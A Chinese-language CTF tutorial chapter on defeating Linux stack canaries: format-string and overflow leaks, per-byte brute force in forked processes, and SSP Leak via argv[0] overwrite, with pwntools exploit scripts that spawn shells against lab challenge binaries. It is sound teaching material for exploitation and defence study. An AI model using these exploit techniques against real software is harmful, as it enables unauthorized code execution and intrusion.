Linux Pwn入門教程系列分享如約而至,本套課程是作者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,所有環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有注釋的python腳本。

課程回顧>>
今天i春秋與大家分享的是Linux Pwn入門教程第九章:stack canary與繞過的思路,閱讀用時約15分鍾。
canary簡介
我們知道,通常棧溢出的利用方式是通過溢出存在於棧上的局部變量,從而讓多出來的數據覆蓋ebp、eip等,從而達到劫持控制流的目的。然而stack canary這一技術的應用使得這種利用手段變得難以實現。canary的意思是金絲雀,來源於英國礦井工人用來探查井下氣體是否有毒的金絲雀籠子。工人們每次下井都會帶上一只金絲雀如果井下的氣體有毒,金絲雀由於對毒性敏感就會停止鳴叫甚至死亡,從而使工人們得到預警。
這個概念應用在棧保護上則是在初始化一個棧幀時在棧底設置一個隨機的canary值,棧幀銷毀前測試該值是否“死掉”,即是否被改變,若被改變則說明棧溢出發生,程序走另一個流程結束,以免漏洞利用成功。
當一個程序開啟了canary保護時,使用checksec腳本檢查會出現以下結果:

可以看到Stack一行顯示Canary found。此外,在函數棧幀初始化時也會在棧上放置canary值並且在退出前驗證。


很顯然,一旦我們觸發棧溢出漏洞,除非能猜到canary值是什么,否則函數退出的時候必然會通過異或操作檢測到canary被修改從而執行stack_chk_fail函數。因此,我們要么想辦法獲取到canary的值,要么就要防止觸發stack_chk_fail,或者利用這個函數。
泄露canary
首先我們要介紹的方法是泄露canary。很顯然,這個方法就是利用漏洞來泄露出canary的值,從而在棧溢出時在payload里加入canary以通過檢查。首先我們來看一下使用格式化字符串泄露canary的情況。
打開例子~/insomnihack CTF 2016-microwave/microwave。這個程序的流程看起來有點復雜,而且文章開頭的checksec結果顯示它開了一大堆保護。但是程序中存在着兩個漏洞,分別是功能1中的一個格式化字符串漏洞和功能2中的一個棧溢出漏洞。


main函數中使用fgets獲取的輸入被作為參數傳遞給sub_F00,然后使用__printf_chk直接輸出,存在格式化字符串漏洞,可以泄露內存。

功能2調用sub_1000,其中read讀取了過多字符,可以造成棧溢出。
在之前的文章中我們提到過FORTIFY對於格式化字符串漏洞的影響,也就是說這個程序我們無法使用%n修改任何內存,所以我們能用來劫持程序執行流程的漏洞顯然只有棧溢出。這個時候我們就需要用到格式化字符串漏洞來泄露canary了。
首先我們調試一下這個程序,讓程序執行到call __printf_chk一行並查看寄存器和棧的情況,看一下我們可以泄露哪些東西。



結合調試和對內存的分析,我們不難發現泄露出來的第一個數據可以直接用來計算libc在內存中的地址(當然你也可以選擇用下面的stdout和stdin),而第6個數據就是canary,因此我們就可以構造腳本泄露地址並利用其計算one gadget RCE的地址。
io.sendline('1') #使用功能1觸發格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密碼硬編碼在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #計算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
然后我們進入功能2觸發棧溢出漏洞,調試發現canary和rip中間還隔着8個字節。

據此我們就可以寫出腳本getshell了。
from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.2', 10001)
io.sendline('1') #使用功能1觸發格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8) #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46') #密碼硬編碼在程序中,可以直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.')
leak_libc = int(leak_data[0], 16)
one_gadget_addr = leak_libc - 0x3c3760 + 0x45526 #計算one gadget RCE地址
canary = int(leak_data[5], 16)
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))
payload = "A"*1032 #padding
payload += p64(canary) #正確的canary
payload += "B"*8 #padding
payload += p64(one_gadget_addr) #one gadget RCE
io.sendline('2') #使用有棧溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)
sleep(0.5)
io.interactive()
當然,並不是所有有canary的程序都能那么幸運地有一個格式化字符串漏洞,不過我們還可以利用棧溢出來泄露canary。我們再來看一下另一個例子~/CSAW Quals CTF 2017-scv/scv。
這是一個用C++寫成的64位ELF程序,所以IDA F5插件看起來有點混亂,但是很顯然還是能看出來主要的功能的。

結合運行的結果,我們很容易判斷出功能1可能會有問題。

通過調試我們不難發現這個程序確實存在棧溢出,但是問題選項123都位於main函數的死循環里,只有選項3會退出循環,從而在main函數結束時觸發棧溢出漏洞。此外,我們還沒有找到canary的值,怎么辦呢?我們觀察選項2,發現選項2是輸出我們的輸入。因此,我們可以通過溢出的字符串接上canary值,從而在輸出的時候把canary的值“帶”出來。

很容易計算出來我們需要輸入的字節是168個.......且慢!我們知道字符串是以\x00作為結尾的。canary這一保護機制的設計者顯然也考慮到了canary被誤泄露的可能性,因此強制規定canary的最后兩位必須是00.這樣我們在輸出一個字符串的時候就不會因為字符串不小心鄰接到canary上而意外泄露canary了。所以,我們這里必須在168的基礎上+1,把這個00覆蓋掉,從而讓canary的其余部分被視為我們輸入的字符串的一部分。

這個時候我們使用功能2,就會帶出canary的值了。注意到后面的亂碼里有個7,對應的0x37就是canary的一部分。

然后我們就可以通過leak的canary過掉canary保護並開啟shell了。本例子的腳本可見於附件,此處不再貼出,注意寫腳本泄露canary時可以把padding字符串的最后幾個字符修改成其他字符(如“ABCDE”),以便於通過io.recvuntil( )進行定位,防止截取canary出現問題。
除了通過上述的這兩種方法來leak canary之外,程序中也可能出現其他可以leak canary的方法,不要拘泥於形式的約束。
多進程程序的canary爆破
canary之所以被認為是安全的,是因為對其進行爆破成功率太低。以32為例,除去最后一個\x00,其可能值將會是0x100^3=16777216(實際上由於canary的生成規則會小於這個值),64位下的canary值更是遠大於這個數量級。
此外,一旦canary爆破失敗,程序就會立即結束,canary值也會再次更新,使得爆破更加困難。但是,由於同一個進程內所有的canary值都是一致的,當程序有多個進程,且子進程內出現了棧溢出時,由於子進程崩潰不會影響到主進程,我們就可以進行爆破。甚至我們可以通過逐位爆破來減少爆破時間。
我們看一下例子~/NSCTF 2017-pwn2/pwn2。

main函數有一個簡單的判斷,輸入Y后會fork一個子進程出來,子進程執行函數sub_80487FA,在這個函數中存在一個格式化字符串漏洞和一個棧溢出漏洞。

其實這邊利用格式化字符串漏洞就可以泄露canary的值,不過為了學習爆破canary的方式,我們還是老老實實爆破。我們先調試一下這個程序:

調試的時候發現了一個問題,IDA調試的進程由於是父進程,pid大於0,進程會執行到call _wait等待子進程結束。此時雖然我們沒有辦法觀察到子進程內部代碼的執行過程,怎么辦呢?
對此,我們的解決辦法是attach子進程。我們先按照attach下斷點的規矩,在輸入的后面,即在地址0x080487b8上下個斷點,然后在shell中運行程序。

根據程序的流程,輸入Y之后這個進程就會fork一個子進程,此時我們使用IDA attach。

問題來了,有兩個./pwn2,我們attach哪個呢?由於子進程的ID比父進程大,我們應該attach的是ID為67的那個。此時我們就成功地進入了子進程中。

接下來就是通過格式化字符串漏洞泄露libc中的某個地址,並計算棧溢出到canary的字節數了,這一過程我們不再贅述。
現在我們已經獲得了想要的信息,接下來就是寫腳本爆破canary了。我們爆破的思想是逐位爆破,即在padding之后每次修改一位canary字節。顯然,這個范圍就縮小到了0x00-0xFF共256個字節。一旦這個字節猜對了,canary就等於是沒有被改變過,於是程序成功通過檢測。所以我們需要觀察一下猜測對和錯時程序輸出的不同。

我們可以看到,當canary猜錯時只有一個Do you love me?[Y],而不是猜對的兩個(stack smashing detected通常不會輸出到stdout或stderr,不能用來進行判斷,我們會在下一節解釋)。所以我們寫腳本如下:
canary = '\x00'
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%19$p') #泄露棧上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16)
io.recv()
payload = 'A'*16 #構造payload爆破canary
payload += canary
payload += chr(j)
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)): #如果canary的字節位爆破正確,應該輸出兩個" Do you love me?",因此通過第二個recv的結果判斷是否成功
canary += chr(j)
log.info('At round %d find canary byte %#x' %(i, j))
break
log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))
運行輸出如下:

爆破canary成功,據此我們就可以寫腳本getshell了。
SSP Leak
除了通過各種方法泄露canary之外,我們還有一個可選項——利用__stack_chk_fail函數泄露信息。這種方法作用不大,沒辦法讓我們getshell。但是當我們需要泄露的flag或者其他東西存在於內存中時,我們可以使用一個棧溢出漏洞來把它們泄露出來。這個方法叫做SSP(Stack Smashing Protect) Leak。
在開始之前,我們先來回顧一下canary起作用到程序退出的流程。首先,canary被檢測到修改,函數不會經過正常的流程結束棧幀並繼續執行接下來的代碼,而是跳轉到call __stack_chk_fail處,然后對於我們來說,執行完這個函數,程序退出,屏幕上留下一行*** stack smashing detected ***:[XXX] terminated。
這里的[XXX]是程序的名字。很顯然,這行字不可能憑空產生,肯定是__stack_chk_fail打印出來的。而且,程序的名字一定是個來自外部的變量(畢竟ELF格式里面可沒有保存程序名)。既然是個來自外部的變量,就有修改的余地。我們看一下__stack_chk_fail的源碼,會發現其實現如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
我們看到__libc_message一行輸出了*** %s ***: %s terminated\n。這里的參數分別是msg和__libc_argv[0]。char *argv[]是main函數的參數,argv[0]存儲的就是程序名,且這個argv[0]就存在於棧上。所以SSP leak的玩法就是通過修改棧上的argv[0]指針,從而讓__stack_chk_fail被觸發后輸出我們想要知道的東西。
首先我們來看一個簡單的例子~/RedHat 2017-pwn5/pwn5.這個程序會把flag讀取到一塊名為flag的全局變量中,然后調用vul函數。

vul函數中有一個棧溢出漏洞

很顯然,這個題目除了棧溢出沒有任何漏洞利用方法,而棧溢出又被canary把守着。但是,flag在內存中的位置是固定的,我們就可以使用SSP Leak。我們先在判斷canary的地方打個斷點,通過人為修改寄存器edx使程序進入__stack_chk_fail,然后看一下argv[0]在哪。

到call __stack_chk_fail的時候我們F7跟進,一直F7到此處。

這一段代碼實際上是處理符號綁定的代碼,我們選中retn 0Ch一行后F4,然后F7就到了__stack_chk_fail。

call near ptr一行其實並沒有什么有用的代碼,真正的主體部分在call __fortify_fail,我們跟進這個函數。

如果你還沒有看出來這是什么的話,不妨按一下F5,你就會發現這就是本節開頭我們貼的那一段代碼。

顯然,__libc_message對應了那個函數指針unk_F7E3ACE0,而argv[0]對應的則是v7,我們切到匯編窗口下,根據參數的入棧順序可知argv[0]最后存在的寄存器是eax。

那么這個eax從哪里來呢,對比偽代碼和匯編我們可以發現,<unknown>這個字符串的地址最終被放進了地址esp+1Ch+var_10,然后eax從(off_F7F8C5F0-0F7F89000h)[ebx]從取值,如果是空則把<unknown>放回去。所以argv[0]從哪取值不言而喻。我們來看一下(off_F7F8C5F0-0F7F89000h)[ebx]指到了哪里。
我得承認,這行代碼我真的看不太懂,所以我在Options->General...里設置了一下Number of opcode bytes (non-graph)的值為8,好觀察它的opcode,顯示如下:

然后我查了一下opcode表和相關資料,顯示8B是MOV r16/32/64 r/m16/32/64,第二個字節83,對照這個表格。

由於我們的程序是32位,顯然對應的是mov eax, ebx+disp32的形式。此時我們把ebx=F7F89000加上opcode后面的數(注意大端序)0x000035f0,結果就是F7F8C5F0.所以,(off_F7F8C5F0-0F7F89000h)[ebx]就是取ebx的值,然后加上偏移(0xF7F8C5F0-0xF7F89000),0XF7F89000還是ebx的值,所以答案就是這行代碼會把地址F7F8C5F0給eax。接下來的代碼則是取出地址F7F8C5F0的值給eax,若這個值是空則設置eax為<unknown>。我們來看一下F7F8C5F0:

這個地址里保存的值是FF874AA4,指向棧中的一個位置,而這個位置保存着程序名字pwn5。

我們不難找到輸入所在的位置。

這樣我們就可以算出來偏移了,並且可以本地測試一下證明SSP leak起了作用。

到了這一步,其實我們已經算是講清楚SSP leak的玩法了——計算偏移,用地址覆蓋argv[0]。通常來說,這能解決大部分問題。然而我們不應滿足於此,我們繼續來看一下這種題目會怎么部署,並引申出一種更高級的題目布置和玩法。
我們用socat把題目搭建起來,發現腳本失效,io.recv( )讀不到輸出,輸出只能在socat所在的服務器端顯示:

如果你有一點Linux基礎知識和編程經驗,你應該知道Linux的“一切皆文件”思想,Linux的頭三個文件描述符0, 1, 2分別被分配給了stdin,stdout,stderr。前兩者很好理解,最后的stderr,顧名思義,是錯誤信息輸出的地方。那么是不是因為*** stack smashing detected ***被輸出到了stderr,所以socat不會轉發到端口上被我們讀取到呢?我們試一下加上參數stderr。

還是不行。顯然,我們需要繼續挖掘__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");這行代碼。
我們查看__libc_message( )這個函數的實現:
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
va_list ap_copy;
int fd = -1;
.......................//為節省篇幅省略部分無關代碼,下同
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd = STDERR_FILENO;
...........................
}
這個函數在運行的時候會去搜索一個叫做“LIBC_FATAL_STDERR_”的環境變量,如果沒有搜索到或者其值為‘\x00’,則把輸出的fd設置為TTY,否則才會把fd設置成STDERR_FILENO,即錯誤輸出到stderr,所以我們部署的時候需要給shell設置環境變量。

此時我們再用加了參數stderr的命令搭建題目,測試成功。

關於這種利用方法,附帶的練習題中還有一個32C3 CTF的readme。這個題目在部署的時候不需要設置環境變量,而是通過修改環境變量指針指向輸入的字符串來泄露flag。(Tips: 指向環境變量的指針就在指向argv[0]的指針往下兩個地址)
其他繞過思路
以上內容只是介紹了幾種較為常見的繞過canary的方法,事實上,canary這一保護機制還有很多的玩法。例如可以通過修改棧中的局部變量,從而控制函數中的執行流程達到任意地址寫(0CTF 2015的flaggenerator),直接“挖”到canary產生的本源——AUXV(Auxiliary Vector),並修改該結構體從而使canary值可控(TCTF 2017 Final的upxof),等等。套路是有限的,知識是無窮的。
以上是今天的內容,大家看懂了嗎?后面我們將持續更新Linux Pwn入門教程的相關章節,希望大家及時關注。